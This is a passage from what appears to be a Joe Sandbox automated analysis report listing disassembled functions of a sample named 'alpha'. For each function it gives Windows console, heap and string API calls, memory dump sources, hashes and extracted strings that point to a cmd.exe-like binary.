                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A47
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A56
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A61
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A6A
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,?,?,00D50AF0,00000002,?,?,00D2A669,%s %s ,?,?,00000000), ref: 00D199DC
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D199EC
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,00D2A669,%s %s ,?,?,00000000), ref: 00D199F4
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D19A09
                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: _get_osfhandle.MSVCRT ref: 00D19B4E
                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00D50AF0,000000FF,00D4A7F0,00002000,00000000,00000000), ref: 00D19B8E
                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,00D4A7F0,-00000001,?,00000000), ref: 00D19BA3
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4057327938-0
                                                                                                                                                                                                                                  • Opcode ID: 7b911e012696d386ca1a48851ac7fba6a555929d2b13a35762f4557be8ecf182
                                                                                                                                                                                                                                  • Instruction ID: 258672ccb60bbb6fcd52f0998c57bc52be9172745abd22844e5df4ed8ad6e395
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7b911e012696d386ca1a48851ac7fba6a555929d2b13a35762f4557be8ecf182
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DC212B32354322BBD7346AFC7DA7BAE6298DB50756F14103EFA06D62C1EEA0CC448571
                                                                                                                                                                                                                                  Function 00D19B3B Relevance: 9.1, APIs: 6, Instructions: 88fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D19B4E
                                                                                                                                                                                                                                  • WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00D50AF0,000000FF,00D4A7F0,00002000,00000000,00000000), ref: 00D19B8E
                                                                                                                                                                                                                                  • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,00D4A7F0,-00000001,?,00000000), ref: 00D19BA3
                                                                                                                                                                                                                                  • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D50AF0,?,?,00000000), ref: 00D2C0BC
                                                                                                                                                                                                                                  • WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00D50AF0,00001000,00D4A7F0,00002000,00000000,00000000,00D50AEE), ref: 00D2C0DC
                                                                                                                                                                                                                                  • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,00D4A7F0,00000000,?,00000000), ref: 00D2C0FA
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3249344982-0
                                                                                                                                                                                                                                  • Opcode ID: 97fa6ce148f6f77a32d710848f78445a04e9f7c9330f78243922ba669b90c254
                                                                                                                                                                                                                                  • Instruction ID: 3adccd0664baf43649fcab104035ed4f5053045c1c90f54f3683fb2d58f71045
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 97fa6ce148f6f77a32d710848f78445a04e9f7c9330f78243922ba669b90c254
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BE21E071658315BFEB204B68BDA9FABBB7DEB04711F100125F901E22D0DA709D40C6B1
                                                                                                                                                                                                                                  Function 00D37540 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 80COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D375AC
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D375CB
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D375F1
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmpwcschr$iswspace
                                                                                                                                                                                                                                  • String ID: KEYS$LIST$OFF
                                                                                                                                                                                                                                  • API String ID: 3924973218-4129271751
                                                                                                                                                                                                                                  • Opcode ID: 82e4cc9a4c328009478e6e4fb13e81bf4f2b6ed5b95664af0518595ae08c8694
                                                                                                                                                                                                                                  • Instruction ID: 832517f50407e6a29c8a1df699b679175bbbf1ce9b3282fa04bf3f59d5f04799
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82e4cc9a4c328009478e6e4fb13e81bf4f2b6ed5b95664af0518595ae08c8694
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1111807150CB01FAD33D5719BC4A8B77358FBC4721B68401EF906852C0FE618A81C1B5
                                                                                                                                                                                                                                  Function 00D1DD98 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                  • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 00D1DDD6
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,00000001), ref: 00D1DDE5
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D1DDF0
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D1DDF9
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 513048808-0
                                                                                                                                                                                                                                  • Opcode ID: eabdbd2955d80f6eb0c2519d24a8474d655777229d8d8de92c1656b282c9dc2c
                                                                                                                                                                                                                                  • Instruction ID: bc9252c587d6f62d95a3f4a7936d384d1330544524cd873897c68cb2516c3670
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: eabdbd2955d80f6eb0c2519d24a8474d655777229d8d8de92c1656b282c9dc2c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0211B272804364BBD7114768BD4C7AA3AA9E74632AF180219F852D22A0DB258D8196B2
                                                                                                                                                                                                                                  Function 00D19A11 Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D19A1C
                                                                                                                                                                                                                                  • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D1793A,00000104,?), ref: 00D19A2B
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A47
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,00000002,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A56
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374), ref: 00D19A61
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,?,?,?,?,?,?,?,?,?,?,?,00D17908,00002374,-00000001), ref: 00D19A6A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 513048808-0
                                                                                                                                                                                                                                  • Opcode ID: a7c12ecd5ab64a82bae1da086cb598d8f9f1f0f027cd6e65baee75517da3251d
                                                                                                                                                                                                                                  • Instruction ID: ec7a588417c4a6d0b4aa33198dce78832a20eebc905538d69e3988dc8d18d9ce
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7c12ecd5ab64a82bae1da086cb598d8f9f1f0f027cd6e65baee75517da3251d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AD01A7338042707B8621477CBC6D9BABA6CDA86736B290325FC66D32D0DD318C895171
                                                                                                                                                                                                                                  Function 00D1DA30 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2D954
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A70,000000FF,00000000,00D425C2,00D425C0,?,?,?,?,00D1D980), ref: 00D2D96D
                                                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00002000,00000000,00D425C2,00D425C0,?,?,?,?,00D1D980), ref: 00D2D987
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A70,000000FF,00D425C2,00D425C0,?,?,?,?,00D1D980), ref: 00D2D9D3
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heaplongjmp$AllocProcessmemcpymemset
                                                                                                                                                                                                                                  • String ID: 0123456789
                                                                                                                                                                                                                                  • API String ID: 2034586978-2793719750
                                                                                                                                                                                                                                  • Opcode ID: 9494ce5ba5983eee2908c77eab1e095e11ba07e3d658f331ea6018509ea61b21
                                                                                                                                                                                                                                  • Instruction ID: aa57611236f26b857c10a20e1887bec301d1f30277539121a0096ec9796a968b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9494ce5ba5983eee2908c77eab1e095e11ba07e3d658f331ea6018509ea61b21
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59711279A00316ABDB14DF28A8456BA73B2EF95304F184069EC46D7384EF71D986CBB1
                                                                                                                                                                                                                                  Function 00D15020 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D15074
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 00D1515F
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • iswspace.MSVCRT ref: 00D29289
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswspacememset
                                                                                                                                                                                                                                  • String ID: %s
                                                                                                                                                                                                                                  • API String ID: 2220997661-3043279178
                                                                                                                                                                                                                                  • Opcode ID: 41f1247021fc2b8a4ccbfdcd21b2ccac065213c3ba4e27a56d7d4b4b078721ab
                                                                                                                                                                                                                                  • Instruction ID: 0f9f96c65b88c886d64cd32153d21936af53c620b7596c347c69ed53a6e3c50c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 41f1247021fc2b8a4ccbfdcd21b2ccac065213c3ba4e27a56d7d4b4b078721ab
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F651D575A00221EBCB24DFA4B8516BAB3F5EF98314F18415DE845D7344EB349D81CBB5
                                                                                                                                                                                                                                  Function 00D370D6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlCreateUnicodeStringFromAsciiz.NTDLL(?,?), ref: 00D37121
                                                                                                                                                                                                                                  • GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000040,00000000), ref: 00D37197
                                                                                                                                                                                                                                  • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 00D371FF
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • Copyright (c) Microsoft Corporation. All rights reserved., xrefs: 00D370EE
                                                                                                                                                                                                                                  • %WINDOWS_COPYRIGHT%, xrefs: 00D37107
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Global$AllocAsciizCreateFreeFromStringUnicode
                                                                                                                                                                                                                                  • String ID: %WINDOWS_COPYRIGHT%$Copyright (c) Microsoft Corporation. All rights reserved.
                                                                                                                                                                                                                                  • API String ID: 1103618819-4062316587
                                                                                                                                                                                                                                  • Opcode ID: 919de30b31ecbb346bac6d7f3201d1677493ce60dbbf8e0ba65d08ebefbd082f
                                                                                                                                                                                                                                  • Instruction ID: e13a149a7ee7313950183459126c38f2465fe4631b24eaa92a0cb24cef21f905
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 919de30b31ecbb346bac6d7f3201d1677493ce60dbbf8e0ba65d08ebefbd082f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4F41C376B007558BCB30CBA898507BA73A5EF48740F680069E945EB390EA659D42C770
                                                                                                                                                                                                                                  Function 00D32584 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 114COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000001,?,00000000,001F0003,?,?,?,?), ref: 00D32652
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D32670
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D32694
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorLast$CreateSemaphore
                                                                                                                                                                                                                                  • String ID: _p0$wil
                                                                                                                                                                                                                                  • API String ID: 4049970386-1814513734
                                                                                                                                                                                                                                  • Opcode ID: d9ac0c215e494c153ffffaf533f344052e1bb27d50b25a6d0d458421e426ca47
                                                                                                                                                                                                                                  • Instruction ID: 3d88e3e64cd6338226793c1864c3461459b2a40a4e37df999b557371904a0ce6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d9ac0c215e494c153ffffaf533f344052e1bb27d50b25a6d0d458421e426ca47
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FD31B575E5022A9BCB25DF38DD9AABA73B5EF94310F184168E815D7390DE70DE408B70
                                                                                                                                                                                                                                  Function 00D351E8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D35295
                                                                                                                                                                                                                                    • Part of subcall function 00D2727B: __iob_func.MSVCRT ref: 00D27280
                                                                                                                                                                                                                                  • fprintf.MSVCRT ref: 00D35215
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: __iob_func_wcsnicmpfprintf
                                                                                                                                                                                                                                  • String ID: CMD Internal Error %s$%s$Null environment
                                                                                                                                                                                                                                  • API String ID: 1828771275-2781220306
                                                                                                                                                                                                                                  • Opcode ID: d6460d138a0eed55c44eb7102b8993b9af355c1cd65d8d21bee4561f9f0f54fe
                                                                                                                                                                                                                                  • Instruction ID: 4c620e1e60abe1b23d0a8e95275ef2939cecdb4c39adbbf1b1dcd6596f42d4b4
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d6460d138a0eed55c44eb7102b8993b9af355c1cd65d8d21bee4561f9f0f54fe
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2B31DE3AE00715EBCB289BA8FC459AFB761DF54704F180529EC0AA3245FE705E41C6B9
                                                                                                                                                                                                                                  Function 00D1B3C1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1AB7F: iswspace.MSVCRT ref: 00D1AB8D
                                                                                                                                                                                                                                    • Part of subcall function 00D1AB7F: wcschr.MSVCRT ref: 00D1AB9E
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D1B3FC
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D1B40E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswspace
                                                                                                                                                                                                                                  • String ID: &<|>$+: $=,;
                                                                                                                                                                                                                                  • API String ID: 3458554142-2256444845
